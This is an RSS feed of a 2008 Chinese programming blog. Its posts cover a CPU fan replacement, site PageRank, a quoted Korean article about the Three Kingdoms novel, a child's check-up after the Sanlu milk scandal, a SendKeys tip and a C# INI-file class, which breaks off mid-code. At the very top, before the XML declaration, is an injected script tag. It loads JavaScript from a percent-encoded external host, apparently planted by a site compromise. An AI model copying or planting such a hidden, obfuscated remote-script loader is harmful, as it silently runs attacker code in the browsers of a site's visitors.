
<script src=http://%77%2E%39%34%73%61%6F%6D%6D%2E%63%6F%6D/js.js></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[VB知识库-Blog]]></title>
<link>http://bbs.vbkbase.com/</link>
<description><![CDATA[学无止境]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog2 v2.4]]></copyright>
<webMaster><![CDATA[vbkbase@yahoo.cn(蝴蝶飞飞)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>VB知识库-Blog</title> 
	<url>http://bbs.vbkbase.com/images/logos.gif</url> 
	<link>http://bbs.vbkbase.com/</link> 
	<description>VB知识库-Blog</description> 
</image>

			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=64</link>
			<title><![CDATA[NND，Intel的风扇歇了]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Feeling Life]]></category>
			<pubDate>Wed,01 Oct 2008 17:22:58 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=64</guid>	
		<description><![CDATA[昨天开机，机器就一直发出滴滴声，直到进入了Windows桌面，根据以前的经验应该是CPU不转了，据说这是技嘉主板通用的毛病？开机时CPU的温度检测MS有点问题，要预热一段时间才会好转。<br/>但是这次已经过了5分钟了，CPU风扇仍然不转，看了下温度，已经40多度了，马上关机，打开机箱，看了看CPU上没有尘土，很干净，但是用手拨动，发现明显转动得比较慢，看来是跑不动了，只有换了。<br/>跑遍了我们的小县城，终于在最后一家找到了Intel的风扇，老板开价70，最后40元搞定，留下型号备查：<br/>D60188-001<br/>DP703 F60<br/>DTC-AAL03<br/>12VDC 0.60A<br/>DELTA<br/>去买时也没看清什么型号，回来后才发现比我原来的电流要高，不过是新的还好噪音不是太大，原来的型号：<br/>C91968-003<br/>N5813D N2<br/>F09A-12B3S1 01AC1H2<br/>NIDEC CORP<br/>GG搜索了下，好像原来的制造商NIDEC CORP日本电产株式会社<br/>现在的DELTA＝台达<br/>不知道用在我的PD3.0上是不是合适？0.60A的好像有点浪费......]]></description>
		</item>
		
			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=63</link>
			<title><![CDATA[网站的PR值升到3了！]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Feeling Life]]></category>
			<pubDate>Sun,28 Sep 2008 19:28:55 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=63</guid>	
		<description><![CDATA[查询了下本站的GG上的PR值，发现居然升到3了，不容易呀，从0升到3用了半年的时间！<br/><br/>最近很少更新了，原创很累，转贴很烦，哈哈~]]></description>
		</item>
		
			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=62</link>
			<title><![CDATA[《三国演义》居然是韩国独有的文化遗产？？！]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Feeling Life]]></category>
			<pubDate>Sun,28 Sep 2008 19:26:14 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=62</guid>	
		<description><![CDATA[<br/>刚刚在凤凰论坛看到[url＝<a href="http://bbs.ifeng.com/viewthread.php?tid=3385898" target="_blank">http://bbs.ifeng.com/viewthread.php?tid=3385898</a>]这个帖子[/url]，韩国人竟称《三国演义》是“韩国独有的文化遗产”，我快晕倒了，下附全文！<br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://bbs.vbkbase.com/images/quote.gif" style="margin:0px 2px -3px 0px" alt="引用内容"/> 引用内容</div><div class="UBBContent">韩国人竟称《三国演义》是“韩国独有的文化遗产”<br/>韩国人又开始无耻了，竟称《三国演义》是“韩国独有的文化遗产”。 <br/><br/>9月23日的韩国《朝鲜日报》发表了一篇题为《《三国志》缘何如此深受韩国人追捧？》的文章，作者俞硕在。全文如下： <br/><br/>有句话叫做“韩国是三国志共和国”。在众多东方古代小说中，唯一一部被无数文人墨客争相翻译，并且男女老少都爱看的书，那当然就是《三国演义》，即《三国志》。因为《三国志》所述历史截至朝鲜中页，所以留下了许多韩国独有的“三国志遗产”。除了成为说唱曲、小说和民间画的素材，现在还以漫画、电影和网络游戏等五花八门的形式出现。 <br/><br/>首尔历史博物馆自本月23日至11月9日举办的“我们的三国志故事”展示会，陈列了从朝鲜时代到现代共150多件《三国志》相关资料。值的关注是，其中包括公认为韩国最古老的刊本——17世纪的《新刊校正古本大字音释三国志传通俗演义》和韩濩(韩石峰)的真迹《蜀汉诸葛武候出师表》。此外还有《桃园结义》、《单骑千里》、《三顾草庐》、《赤壁大战》等再现三国经典故事的漫画和曾经在首尔随处可见的有关刘、关、张、诸葛亮等的民俗信仰的相关资料。 <br/><br/>展示会还包括“万海”韩云龙的新闻连载版，朴泰远的月刊连载版以及方基焕、朴钟和、郑飞石、金九容、李文烈、黄晳映、蒋正一的翻译版，乃至金龙焕和高羽荣的漫画三国志。通过视频资料还可以听到韩国传统音乐板索里（韩国清唱）版本的《赤壁歌》。在观展后，还可以去一个专门开辟的场所翻阅小说和漫画，比较一下各自的异同之处。 <br/><br/><br/>文中居然只字未提中国和作者罗贯中。其实韩国人也是不懂装懂，因为《三国志》与《三国演义》是两部体裁完全不同的书，一部是史志，一部是小说，根本就是两回事！ </div></div>]]></description>
		</item>
		
			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=61</link>
			<title><![CDATA[从今天开始放假了,好好享受七天长假吧!]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Feeling Life]]></category>
			<pubDate>Sun,28 Sep 2008 19:14:07 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=61</guid>	
		<description><![CDATA[从明天开始放假了,七天的假期开始了!<br/>受三鹿事件的影响,由于以前也给孩子吃过一段时间的奶粉,虽然时间不是太长,在去年冬天吃过大概二、三个月的三鹿配方袋装奶粉，原来一直是吃龙丹的。为了保险起见，还是带孩子去医院检查了下，B超加尿检，一共花了70元。检查那天人超多，每天要排二、三百个号，还好我们趁中午人少时检了。可能由于我们这是小县城吧，据说三鹿的奶粉基本是低端，大多走了农村市场。<br/>还好检查结果没有问题。这几天有消息说是检查费用医院可以给报销了，真是个好消息，明天决定去下医院看看，好像是要带身份证的复印件的！]]></description>
		</item>
		
			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=60</link>
			<title><![CDATA[在程序中实现模拟按键]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Learning]]></category>
			<pubDate>Sun,24 Aug 2008 21:23:04 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=60</guid>	
		<description><![CDATA[在把焦点设置为某控件后,可以利用模拟按钮完成一些文本的复制和粘贴操作<br/>SendKeys.SendWait(&#34;^V &#34;);<br/>注意看这行代码,如果你错误地写成<br/>SendKeys.SendWait(&#34;^V&#34;);<br/>那就执行不了,看出来有什么不同了吗?后一行少了一个空格,就是这个空格在VS2008中却不能执行粘贴操作,是我的电脑的原因,还是就是这样的格式呢?<br/><br/>复制和剪切应该是这2行代码吧,我没测试,不知道需不需要加空格!<br/>SendKeys.SendWait(&#34;^C &#34;);<br/>SendKeys.SendWait(&#34;^X &#34;);]]></description>
		</item>
		
			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=59</link>
			<title><![CDATA[C# 操作INI文件的类]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Learning]]></category>
			<pubDate>Fri,15 Aug 2008 12:58:46 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=59</guid>	
		<description><![CDATA[<div class="UBBPanel"><div class="UBBTitle"><img src="http://bbs.vbkbase.com/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent"><br/>先Show示例：<br/>--------------------------------------------------------------------------------<br/>&nbsp;&nbsp;private void TestINI_Load(object sender, System.EventArgs e)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; //创建一个INIFile对象，参数为文件路径，如果不存在它会自动创建的<br/>&nbsp;&nbsp; INIFile inf=new INIFile(@&#34;D:\工作目录\VSPP\VSPPServer\bin\Debug\COMPILED.INI&#34;);<br/>&nbsp;&nbsp; //显示INI配置的结构<br/>&nbsp;&nbsp; foreach(string k in inf.Segments.Keys)<br/>&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;TreeNode o=new TreeNode(k);<br/>&nbsp;&nbsp;&nbsp;&nbsp;INISegment s=inf.Segments[k]; //取出当前配置节<br/>&nbsp;&nbsp;&nbsp;&nbsp;foreach(string k1 in s.Items.Keys)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp; TreeNode o1=new TreeNode(k1+&#34; = &#34;+s.Items[k1].Value); //访问配置节中每个配置项<br/>&nbsp;&nbsp;&nbsp;&nbsp; o.Nodes.Add(o1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;treeView1.Nodes.Add(o);<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp; //添加一个配置<br/>&nbsp;&nbsp; inf.Segments.Add(&#34;Test&#34;); //添加Test节<br/>&nbsp;&nbsp; inf.Segments[&#34;Test&#34;].Items.Add(&#34;IP&#34;,&#34;192.168.0.1&#34;); //添加一个配置项<br/>&nbsp;&nbsp; //快速添加一个配置项<br/>&nbsp;&nbsp; inf.Segments[&#34;测试&#34;].Items[&#34;Host&#34;].Value=&#34;localhost&#34;; // ：）和上面两行一样的效果<br/>&nbsp;&nbsp; //读取也是同样的方便<br/>&nbsp;&nbsp; MessageBox.Show(inf.Segments[&#34;测试&#34;].Items[&#34;Host&#34;].Value);<br/>&nbsp;&nbsp; //如果不存在这样的配置项，将返回空字符串并创建这个项<br/>&nbsp;&nbsp; MessageBox.Show(inf.Segments[&#34;测试&#34;].Items[&#34;Server&#34;].Value);<br/>&nbsp;&nbsp; //清除一个配置节下面的所有配置项<br/>&nbsp;&nbsp; //inf.Segments[&#34;Action&#34;].Clear();<br/>&nbsp;&nbsp;}<br/><br/>--------------------------------------------------------------------------------<br/>再Show代码： <br/>--------------------------------------------------------------------------------<br/>using System;<br/>using System.IO;<br/>using System.Data;<br/>using System.Text;<br/>using System.Collections;<br/>using System.Text.RegularExpressions;<br/>using System.Runtime.InteropServices;<br/>namespace eGlic<br/>{<br/> #region INI文件操作类<br/> /// &lt;summary&gt;<br/> /// 配置节<br/> /// &lt;/summary&gt;<br/> public class INISegment<br/> {<br/>&nbsp;&nbsp;private string __Name;<br/>&nbsp;&nbsp;private INISegments __Owner;<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 所有配置项集合<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public INIItems Items;<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 构造函数<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;o&#34;&gt;Owner&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vName&#34;&gt;配置节名称&lt;/param&gt;<br/>&nbsp;&nbsp;public INISegment(INISegments o,string vName)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; __Owner=o;<br/>&nbsp;&nbsp; __Name=vName;<br/>&nbsp;&nbsp; Items=new INIItems(this);<br/>&nbsp;&nbsp; o.Owner.GetSegment(this);<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取配置节的名称<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public string Name<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return __Name;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取Segment的Owner：INISegments集合<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public INISegments Owner<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return __Owner;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 清除所有设置项<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public void Clear()<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; __Owner.Owner.WriteSegment(__Name,&#34;\0\0&#34;);<br/>&nbsp;&nbsp;}<br/> }<br/> /// &lt;summary&gt;<br/> /// 配置节集合<br/> /// &lt;/summary&gt;<br/> public class INISegments : DictionaryBase<br/> {<br/>&nbsp;&nbsp;private INIFile __Owner;<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 构造函数<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;o&#34;&gt;Owner&lt;/param&gt;<br/>&nbsp;&nbsp;public INISegments(INIFile o)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; __Owner=o;<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取此对象的Owner：INIFile类<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public INIFile Owner<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return __Owner;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 添加一个已经存在的配置节<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;o&#34;&gt;配置节对象&lt;/param&gt;<br/>&nbsp;&nbsp;public void Add(INISegment o)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; if(!Dictionary.Contains(o.Name))<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dictionary.Add(o.Name,o);<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 添加一个可能不存在的配置节（创建一个配置节）<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vName&#34;&gt;配置节名称&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;returns&gt;添加的配置节&lt;/returns&gt;<br/>&nbsp;&nbsp;public INISegment Add(string vName)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; if(Dictionary.Contains(vName))<br/>&nbsp;&nbsp;&nbsp;&nbsp;return (INISegment)Dictionary[vName];<br/>&nbsp;&nbsp; INISegment o=new INISegment(this,vName);<br/>&nbsp;&nbsp; Dictionary.Add(vName,o);<br/>&nbsp;&nbsp; return o;<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取索引集合<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public ICollection Keys<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return Dictionary.Keys;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取值集合<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public ICollection Values<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return Dictionary.Values;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取配置节<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public INISegment this [string vName]<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get{<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(!Dictionary.Contains(vName))<br/>&nbsp;&nbsp;&nbsp;&nbsp; return this.Add(vName);<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp; return (INISegment)Dictionary[vName];<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取是否包含某配置节<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vName&#34;&gt;配置节名称&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;returns&gt;是否&lt;/returns&gt;<br/>&nbsp;&nbsp;public bool Contains(string vName)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; return Dictionary.Contains(vName);<br/>&nbsp;&nbsp;}<br/> }<br/> /// &lt;summary&gt;<br/> /// 配置项<br/> /// &lt;/summary&gt;<br/> public class INIItem<br/> {<br/>&nbsp;&nbsp;private string __Name;<br/>&nbsp;&nbsp;private string __Value;<br/>&nbsp;&nbsp;private INIItems __Owner;<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 构造函数<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;o&#34;&gt;Owner&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vName&#34;&gt;名称&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vValue&#34;&gt;值&lt;/param&gt;<br/>&nbsp;&nbsp;public INIItem(INIItems o,string vName,string vValue)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; __Owner=o;<br/>&nbsp;&nbsp; __Name=vName;<br/>&nbsp;&nbsp; __Value=vValue;<br/>&nbsp;&nbsp; if(!o.Contains(vName))<br/>&nbsp;&nbsp;&nbsp;&nbsp;o.Owner.Owner.Owner.SetString(o.Owner.Name,vName,vValue);<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取名称<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public string Name<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return __Name;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取设置值<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public string Value<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return __Value;}<br/>&nbsp;&nbsp; set {<br/>&nbsp;&nbsp;&nbsp;&nbsp;__Value=value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;__Owner.Owner.Owner.Owner.SetString(__Owner.Owner.Name,__Name,value);<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取Owner<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public INIItems Owner<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return __Owner;}<br/>&nbsp;&nbsp;}<br/> }<br/> /// &lt;summary&gt;<br/> /// 配置项集合<br/> /// &lt;/summary&gt;<br/> public class INIItems : DictionaryBase<br/> {<br/>&nbsp;&nbsp;private INISegment __Owner;<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 构造函数<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;o&#34;&gt;Owner&lt;/param&gt;<br/>&nbsp;&nbsp;public INIItems(INISegment o)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; __Owner=o;<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取Owner<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public INISegment Owner<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return __Owner;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 添加一个已经存在的配置项<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;o&#34;&gt;配置项&lt;/param&gt;<br/>&nbsp;&nbsp;public void Add(INIItem o)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; if(!Dictionary.Contains(o.Name))<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dictionary.Add(o.Name,o);<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取是否包含指定名称的配置项<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vName&#34;&gt;配置项名称&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;returns&gt;是否&lt;/returns&gt;<br/>&nbsp;&nbsp;public bool Contains(string vName)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; return Dictionary.Contains(vName);<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取所有的索引集合<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public ICollection Keys<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return Dictionary.Keys;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取所有的值集合<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public ICollection Values<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return Dictionary.Values;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 添加一个可能不存在的配置项（创建一个配置项）<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vName&#34;&gt;配置项名&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vValue&#34;&gt;配置项值&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;returns&gt;创建的配置项INIItem对象&lt;/returns&gt;<br/>&nbsp;&nbsp;public INIItem Add(string vName,string vValue)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; if(Dictionary.Contains(vName))<br/>&nbsp;&nbsp;&nbsp;&nbsp;return (INIItem)Dictionary[vName];<br/>&nbsp;&nbsp; else<br/>&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;INIItem o=new INIItem(this,vName,vValue);<br/>&nbsp;&nbsp;&nbsp;&nbsp;this.Add(o);<br/>&nbsp;&nbsp;&nbsp;&nbsp;return o;<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取指定索引的配置项<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public INIItem this[string vName]<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(Dictionary.Contains(vName))<br/>&nbsp;&nbsp;&nbsp;&nbsp; return (INIItem)Dictionary[vName];<br/>&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp; return this.Add(vName,&#34;&#34;);<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp;}<br/> }<br/> /// &lt;summary&gt;<br/> /// INI文件操作类<br/> /// &lt;/summary&gt;<br/> public class INIFile<br/> {<br/>&nbsp;&nbsp;#region 导入DLL函数<br/>&nbsp;&nbsp;[DllImport(&#34;kernel32.dll&#34;)] public extern static int GetPrivateProfileIntA(string segName,string keyName,int iDefault,string fileName);<br/>&nbsp;&nbsp;[DllImport(&#34;kernel32.dll&#34;)] public extern static int GetPrivateProfileStringA(string segName,string keyName,string sDefault,StringBuilder retValue,int nSize,string fileName);<br/>&nbsp;&nbsp;[DllImport(&#34;kernel32.dll&#34;)] public extern static int GetPrivateProfileSectionA(string segName,byte [] sData,int nSize,string fileName);<br/>&nbsp;&nbsp;[DllImport(&#34;kernel32.dll&#34;)] public extern static int WritePrivateProfileSectionA(string segName,byte [] sData,string fileName);<br/>&nbsp;&nbsp;[DllImport(&#34;kernel32.dll&#34;)] public extern static int WritePrivateProfileStringA(string segName,string keyName,string sValue,string fileName);<br/>&nbsp;&nbsp;[DllImport(&#34;kernel32.dll&#34;)] public extern static int GetPrivateProfileSectionNamesA(byte [] vData,int iLen,string fileName);<br/>&nbsp;&nbsp;#endregion <br/><br/>&nbsp;&nbsp;private string __Path;<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 所有的配置节<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public INISegments Segments;<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 构造函数<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vPath&#34;&gt;INI文件路径&lt;/param&gt;<br/>&nbsp;&nbsp;public INIFile(string vPath)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; __Path=vPath;<br/>&nbsp;&nbsp; Segments=new INISegments(this);<br/>&nbsp;&nbsp; byte [] bufsegs=new byte [32767];<br/>&nbsp;&nbsp; int rel=GetPrivateProfileSectionNamesA(bufsegs,32767,__Path);<br/>&nbsp;&nbsp; int iCnt,iPos;<br/>&nbsp;&nbsp; string tmp;<br/>&nbsp;&nbsp; if(rel&gt;0)<br/>&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;iCnt=0;iPos=0;<br/>&nbsp;&nbsp;&nbsp;&nbsp;for(iCnt=0;iCnt&lt;rel;iCnt++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp; if(bufsegs[iCnt]==0x00)<br/>&nbsp;&nbsp;&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmp=System.Text.ASCIIEncoding.Default.GetString(bufsegs,iPos,iCnt).Trim();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;iPos=iCnt+1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(tmp!=&#34;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Segments.Add(tmp);<br/>&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 获取INI文件路径<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;public string Path<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; get {return __Path;}<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 读取一个整数型的配置值<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;segName&#34;&gt;配置节名&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;keyName&#34;&gt;配置项名&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;iDefault&#34;&gt;默认值&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;returns&gt;配置值&lt;/returns&gt;<br/>&nbsp;&nbsp;public int GetInt(string segName,string keyName,int iDefault)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; return GetPrivateProfileIntA(segName,keyName,iDefault,__Path);<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 读取一个字符串型配置值<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;segName&#34;&gt;配置节名&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;keyName&#34;&gt;配置项名&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;sDefault&#34;&gt;默认值&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;returns&gt;配置值&lt;/returns&gt;<br/>&nbsp;&nbsp;public string GetString(string segName,string keyName,string sDefault)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; StringBuilder red=new StringBuilder(1024);<br/>&nbsp;&nbsp; GetPrivateProfileStringA(segName,keyName,&#34;&#34;,red,1024,__Path);<br/>&nbsp;&nbsp; return red.ToString();<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 写入配置项<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;segName&#34;&gt;配置节名&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;keyName&#34;&gt;配置项名&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vValue&#34;&gt;配置值&lt;/param&gt;<br/>&nbsp;&nbsp;public void SetString(string segName,string keyName,string 